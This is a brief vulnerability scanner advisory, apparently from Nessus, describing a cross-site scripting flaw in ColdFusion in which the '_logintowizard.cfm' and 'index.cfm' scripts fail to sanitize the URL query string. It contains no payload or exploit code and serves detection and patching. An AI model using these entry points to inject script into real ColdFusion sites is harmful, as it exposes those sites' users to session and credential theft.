The version of ColdFusion running on the remote host is affected by a cross-site scripting vulnerability. The ‘_logintowizard.cfm’ and ‘index.cfm’ scripts do not sanitize the query string of the URL, which can result in the injection of arbitrary HTML or script code. A remote attacker can exploit this by enticing a user into requesting a malicious URL.
Note that ColdFusion is reportedly affected by additional cross-site scripting vulnerabilities; however, Nessus has not checked for those issues.
